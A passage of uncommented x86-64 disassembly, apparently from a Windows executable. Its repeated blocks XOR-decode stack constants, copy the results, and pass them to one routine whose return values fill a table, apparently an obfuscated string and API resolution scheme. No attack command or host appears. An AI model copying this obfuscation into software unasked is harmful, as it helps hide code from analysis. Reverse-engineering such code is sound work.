mov qword [rbp + 0xa060], rax
movabs rax, 0x7c2eb4f0d79ec5fd
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0xa050], xmm2
lea rcx, [rbp + 0x1bc0]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea r8, [rbp + 0x1bc0]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x218], rax
movabs rax, 0x1b6f8c0c1b599b
mov qword [rbp + 0xa000], rax
movabs rcx, 0x1c3931df77d01a21
mov qword [rbp + 0xa008], rcx
movabs rax, 0x1b6ffc697e35c8
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x9c0], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x9d0], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x9e0], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x9f0], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xa00], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xa10], xmm0
lea r8, [rbp + 0x9c0]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x220], rax
movabs rax, 0x1e7094b1620f870e
mov qword [rbp + 0xa040], rax
movabs rax, 0x4d3b37553dee1522
mov qword [rbp + 0xa048], rax
movabs rax, 0x22ae7852bb00cae
mov qword [rbp + 0xa050], rax
movabs rcx, 0x659d0ee3c4195cff
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7124f1c5036af54d
mov qword [rbp + 0xa080], rax
movabs rax, 0x7f0847395886794d
mov qword [rbp + 0xa088], rax
movabs rax, 0x76458ff65bd162fd
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x16b0]
lea rcx, [rbp + 0x70]
mov rdx, rbx
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400394d0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x16b0]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x228], rax
movabs rax, 0x501e1488825f358
mov qword [rbp + 0xa040], rax
movabs rax, 0x29bd523641bdf099
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x3672922deb4a8108
mov qword [rbp + 0xa060], rax
movabs rax, 0x29ea264533d4b6ab
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x80], xmm2
lea rax, [rbp + 0x37c0]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400395c0
lea r8, [rbp + 0x37c0]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x230], rax
movabs rax, 0xf5c36919d0ee4ac
mov qword [rbp + 0xa040], rax
movabs rax, 0x2e1f3afc47f2fe4f
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x3c2f45f4fe6196fc
mov qword [rbp + 0xa060], rax
movabs rax, 0x2e1f6d883f97b07d
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x80], xmm1
lea rcx, [rbp + 0x32f0]
lea rax, [rbp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x32f0]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x238], rax
movabs rax, 0xd3b2002e28ea83e
mov qword [rbp + 0xa040], rax
movabs rax, 0xdfd0f5951038ed9
mov qword [rbp + 0xa048], rax
movabs rax, 0x1b7caa3f329eeb46
mov qword [rbp + 0xa050], rax
movabs rcx, 0x228fd54c0d1ae30
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6c5e526ab6facd79
mov qword [rbp + 0xa080], rax
movabs rax, 0x6bbc7f2c3e71c9bd
mov qword [rbp + 0xa088], rax
movabs rax, 0x1b7cd34b5bf08220
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x5a40]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140039820
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea r8, [rbp + 0x5a40]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x240], rax
movabs rax, 0x144a6856bafb6670
mov qword [rbp + 0xa040], rax
movabs rax, 0x98322c12f306144
mov qword [rbp + 0xa048], rax
mov qword [rbp + 0xa050], rsi
movabs rcx, 0xe00000002001d7b9
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x71381a23f98f0337
mov qword [rbp + 0xa080], rax
movabs rax, 0x6de247b34764152a
mov qword [rbp + 0xa088], rax
mov qword [rbp + 0xa090], rsi
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x3df0]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140039990
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x3df0]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x248], rax
movabs rax, 0xd9d014a0d74315a
mov qword [rbp + 0xa040], rax
movabs rax, 0x14f1abcdf5eef8de
mov qword [rbp + 0xa048], rax
movabs rax, 0x19b28c2908c1f0ca
mov qword [rbp + 0xa050], rax
movabs rax, 0x48ea33b3270a7e21
mov qword [rbp + 0xa058], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7bf475294c00541d
mov qword [rbp + 0xa080], rax
movabs rax, 0x6782ceae9a9ca8bb
mov qword [rbp + 0xa088], rax
movabs rax, 0x5ac2f9467a8682a5
mov qword [rbp + 0xa090], rax
movabs rax, 0x48ea33b353640b4e
mov qword [rbp + 0xa098], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x7320]
lea rcx, [rbp + 0x70]
mov rdx, rbx
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140039af0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
lea r8, [rbp + 0x7320]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x250], rax
movabs rax, 0x159c842e0afbd8e8
mov qword [rbp + 0xa040], rax
movabs rax, 0xe0eb67cb4dcfd9d
mov qword [rbp + 0xa048], rax
movabs rax, 0xbdb50bc131958da
mov qword [rbp + 0xa050], rax
movabs rcx, 0x2ef26459b2a3421
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x63f5f04d4b8fbdaf
mov qword [rbp + 0xa080], rax
movabs rax, 0x7d7dd31fdbaeadf8
mov qword [rbp + 0xa088], rax
movabs rax, 0xbaf3ec97c5a2ab5
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x6490]
lea rcx, [rbp + 0x70]
mov rdx, rbx
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140039c60
lea r8, [rbp + 0x6490]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x258], rax
movabs rax, 0x13891fa43f64f8e8
mov qword [rbp + 0xa040], rax
movabs rax, 0x37f7a669ad8b18b
mov qword [rbp + 0xa048], rax
movabs rax, 0x1c47f599abee5681
mov qword [rbp + 0xa050], rax
movabs rcx, 0x1e51b3c0a599910
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x72ec6dcc6b109dbb
mov qword [rbp + 0xa080], rax
movabs rax, 0x653e0a13f5aaf6ef
mov qword [rbp + 0xa088], rax
movabs rax, 0x1c478cedc2803fe7
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x5bb0]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140039db0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea r8, [rbp + 0x5bb0]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x260], rax
movabs rax, 0xaa64e5b915ec011
mov qword [rbp + 0xa040], rax
movabs rax, 0xd5775704f96c1eb
mov qword [rbp + 0xa048], rax
movabs rax, 0x17576bc7c5
mov qword [rbp + 0xa050], rax
movabs rcx, 0x503b2e71021
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6fd43c2ed22aa556
mov qword [rbp + 0xa080], rax
movabs rax, 0x7e32161f3dc6b585
mov qword [rbp + 0xa088], rax
movabs rax, 0x17570f8eb6
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x4700]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140039f30
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x4700]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x268], rax
movabs rax, 0x7067db3b99ae047
mov qword [rbp + 0xa040], rax
movabs rax, 0x953c933105a6c0f
mov qword [rbp + 0xa048], rax
movabs rax, 0x1a95febdee2e0ebb
mov qword [rbp + 0xa050], rax
movabs rax, 0x7008d7dee59b0861
mov qword [rbp + 0xa058], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6e7214ddf0f69415
mov qword [rbp + 0xa080], rax
movabs rax, 0x60218a566a33006e
mov qword [rbp + 0xa088], rax
movabs rax, 0x79f0add18f4d67cf
mov qword [rbp + 0xa090], rax
movabs rax, 0x7008d7de8bf46115
mov qword [rbp + 0xa098], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x74f0]
lea rcx, [rbp + 0x70]
mov rdx, rbx
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003a0a0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
lea r8, [rbp + 0x74f0]
mov r12, qword [rbp + 0x468]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x270], rax
movabs rax, 0x182e19bd46bfb3fb
mov qword [rbp + 0xa040], rax
movabs rax, 0x113d5fa3064fe2db
mov qword [rbp + 0xa048], rax
movabs rax, 0x2fb262d092b0503
mov qword [rbp + 0xa050], rax
movabs rcx, 0x1cb2e94e15865218
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7d5878d80ad3c7a9
mov qword [rbp + 0xa080], rax
movabs rax, 0x7d5c3cca72269098
mov qword [rbp + 0xa088], rax
movabs rax, 0x29549447d486050
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x6610]
lea rcx, [rbp + 0x70]
mov rdx, rbx
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003a220
lea r8, [rbp + 0x6610]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x278], rax
movabs rax, 0x362ac46e7457bbb
mov qword [rbp + 0xa040], rax
movabs rax, 0x1a76f2752f196bc5
mov qword [rbp + 0xa048], rax
movabs rax, 0x9b2b5659703cadc
mov qword [rbp + 0xa050], rax
movabs rcx, 0x1a70b769ea0f407c
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7107d828a2290fe9
mov qword [rbp + 0xa080], rax
movabs rax, 0x7617911c5b701986
mov qword [rbp + 0xa088], rax
movabs rax, 0x9dcda0ce360af8f
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x4bf0]
lea rcx, [rbp + 0x70]
mov rdx, rbx
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003a370
lea r8, [rbp + 0x4bf0]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x280], rax
movabs rax, 0x8dbbc4c1e27430c
mov qword [rbp + 0xa040], rax
movabs rax, 0xc2994550da27591
mov qword [rbp + 0xa048], rax
mov qword [rbp + 0xa050], rsi
movabs rcx, 0xe0000000200249f4
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
